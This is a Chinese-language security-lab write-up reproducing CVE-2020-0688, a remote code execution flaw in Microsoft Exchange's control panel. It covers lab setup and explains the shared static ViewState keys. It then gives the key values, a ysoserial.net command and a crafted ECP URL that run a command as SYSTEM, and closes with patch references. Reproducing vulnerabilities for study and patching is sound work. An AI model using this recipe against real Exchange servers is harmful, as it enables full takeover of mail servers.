CVE-2020-0688:微软EXCHANGE-漏洞文库小世界-安全文库-NGC660安全实验室

CVE-2020-0688:微软EXCHANGE

###CVE-2020-0688:微软EXCHANGE服务远程代码执行漏洞复现-你伤不到我哒

 

环境搭建

使用Windows Server 2008安装Exchange Server 2013

  • 首先要在虚拟机内将Server2008设置为静态IP
    1596158203287-f76e4759-37ff-49d9-ad2c-84aae1a016ec
  • 在服务器管理器中选择添加角色-勾选域服务
    1596158203357-309c217d-80f9-41c0-98a4-bbd28f8dc616
  • 安装完成后,在开始->运行打开dcpromo

1596158203480-7ba2e9d1-20d8-4f10-8a72-548e896bab24

  • 点击两次下一步后,选择在新林中新建域

1596158203317-04416893-7bf1-413a-84bf-629ccc69728a

  • 输入一个域名格式

1596158203521-be1fc454-a181-4fb4-b61e-23e45968fab3

  • 选择win2008,勾选dns

1596158203871-bdd404c1-d5d3-4b5a-b84a-c1ec63934289

  • 设置密码

1596158203585-6a2c667f-bfb0-4a1c-99be-8f0394118f8d

1596158203591-5f5537ea-5040-42cd-8406-29fabcefcc09

  • 完成安装

1596158203415-b5a8c2ef-219b-4949-b740-405dd36e8314

前期准备

  • 打开ad用户和计算机,选择users添加域用户
    1596158203279-24401304-9d88-42d0-a6c9-ea49681729fa

1596158203267-d09efe6b-3f04-467a-b001-3f9129ba47fb

  • 创建完成后更改域
    1596158203824-8d4c5fad-1dae-41cd-b11d-2575c57fdd6b

1596158203664-069e266b-098b-4415-93c7-d569afeca7fb

  • 输入刚刚添加的用户,之后重启计算机
    1596158203281-7683ee9e-aacc-4710-8ec9-c6c575a21db9
  • 使用刚才添加的用户登录后安装其他必备组件
    管理员启动powershell
    Import-Module ServerManager
    Add-WindowsFeature RSAT-ADDS
    1596158203315-d9f5b6df-7c72-454a-ad6a-c01d52f5a072
  • 安装完成后重启计算机,使用管理员权限打开powershell
    Import-Module ServerManager
    Add-WindowsFeature NET-Framework, ADLDS
    1596158203457-10ef55b0-ffb8-4d1e-aba7-6938ddd74a1c
  • 安装.Net 4.5

1596158203403-14d0e759-eaab-4dc6-9967-fb20eaf9c0ad

1596158203346-c67e3bf3-af9c-4a67-8baa-b4d625e6f966

  • 打开exchange,选择解压位置

1596158203418-ee328bc4-a732-49f4-b2da-51506b7d437b

  • 开始安装Exchang
    1596158203383-dbe35c08-0fc4-46e2-b28f-e33d609f1299

1596158203422-c0148ab0-2787-47e2-bb72-9bab52664cb3

  • 安装过程遇到一堆问题,挨个解决。。
    1596158203507-6aaa0175-9d73-491a-bf42-effa2a7457dc
  • 开始正式安装
    1596158203353-6ce7bc19-80c7-4757-97e7-6109a5f358a4

安装完成

1596158203458-192f8ade-906a-4d02-aed1-cec383d1dbc7

CVE-2020-0688漏洞复现

  • 漏洞详情
    具体来说,漏洞是在Exchange Control Panel (ECP)组件中发现的。这个漏洞的性质非常简单。与每次软件安装都会产生随机密钥不同,所有Microsoft Exchange Server在安装后的web.config文件中都拥有相同的validationKey和decryptionKey。这些密钥用于保证ViewState的安全性。而ViewState是ASP.NET Web应用以序列化格式存储在客户机上的服务端数据。客户端通过__VIEWSTATE请求参数将这些数据返回给服务器。
    1596158203430-ddd3496c-4855-4233-a1bf-de6f62c16ed6

由于使用了静态密钥,经过身份验证的攻击者可以欺骗目标服务器反序列化恶意创建的ViewState数据。在YSoSerial.net的帮助下,攻击者可以在Exchange Control Panel web应用上执行任意.net代码。

  • 为了利用这个漏洞,我们需要从经过身份验证的session中收集ViewStateUserKey和__VIEWSTATEGENERATOR值。ViewStateUserKey可以从ASP.NET的_SessionIDcookie中获取,而ViewStateUserKey可以在一个隐藏字段中找到。所有这些都可以通过浏览器中的工具轻松找到。
    首先,进入192.168.92.128/ecp页面并登录。所使用的帐户不需要任何高权限
    1596158203459-6a8a8969-f902-4f4a-9fd2-b26611507064
  • 接下来,打开浏览器开发工具的Network选项,然后按F5重新发送请求。在页面源代码中可以找到 __VIEWSTATEGENERATOR,它的值是B97B4E27
    1596158203858-95268e1b-be99-4be9-bdc3-dbdb2b15bed6

*然后,打开Headers选项卡并找到ASP.NET_SessionId=40c8e078-dc79-4001-9a52-de175b38a028
1596158203413-097f2e56-df4a-488c-899f-9ad7de95895b

  • 现在我们掌握了发动攻击所需要的全部信息:
    –validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
    –validationalg = SHA1
    –generator = B97B4E27
    –viewstateuserkey = c1187666-c0ae-4f61-95d4-d2f5348d4300
  • 下一步是使用ysoserial.net生成ViewState的paylaod。我们将通过创建文件C:\TideSec.txt来演示远程代码执行:
    ysoserial.exe -p ViewState -g TextFormattingRunProperties -c “cmd /c echo test > C:\TideSec.txt” –validationalg=“SHA1” –validationkey=“CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF” –generator=“B97B4E27” –viewstateuserkey=“c1187666-c0ae-4f61-95d4-d2f5348d4300” –isdebug –islegacy
    1596158203559-9639fdcc-6868-4b68-851c-9eac533154db
  • 将输出结果进行URL编码并构造如下URL:
    https://192.168.92.128/ecp/default.aspx?VIEWSTATEGENERATOR=&VIEWSTATE=
    1596158203414-87bec699-a2a3-481b-8ede-b1a710ab3fb7

1596158203456-a5db1d24-4ad2-4db4-b1c2-81056a647480

*浏览器内提交地址进行访问,回显500错误,但实际已经创建成功,并且可以看到是具有SYSTEM”权限的进程创建的。这表明攻击者可以以“SYSTEM”身份远程执行代码,完全破坏Exchange服务器。
1596158203491-a3bc33f6-a55a-48bf-b544-f4d5aa950ae3

1596158203312-b3453acf-b4af-4557-9336-87e9060f9741

影响范围及加固

  • 影响版本
    影响所有版本的Exchang Server:
    Microsoft Exchange Server 2010 Service Pack 3
    Microsoft Exchange Server 2013
    Microsoft Exchange Server 2016
    Microsoft Exchange Server 2019
  • 防护措施
    补丁下载
    Microsoft Exchange Server 2010 Service Pack 3 Update Rollup 30 KB4536989 Microsoft Exchange Server 2013 Cumulative Update 23 KB4536988 Microsoft Exchange Server 2016 Cumulative Update 14 KB4536987 Microsoft Exchange Server 2016 Cumulative Update 15 KB4536987 Microsoft Exchange Server 2019 Cumulative Update 3 KB4536987 Microsoft Exchange Server 2019 Cumulative Update 4 KB4536987

参考链接

https://nosec.org/home/detail/4158.html https://blog.csdn.net/u011189710/article/details/81150026 https://xz.aliyun.com/t/7299

请登录后发表评论

    请登录后查看回复内容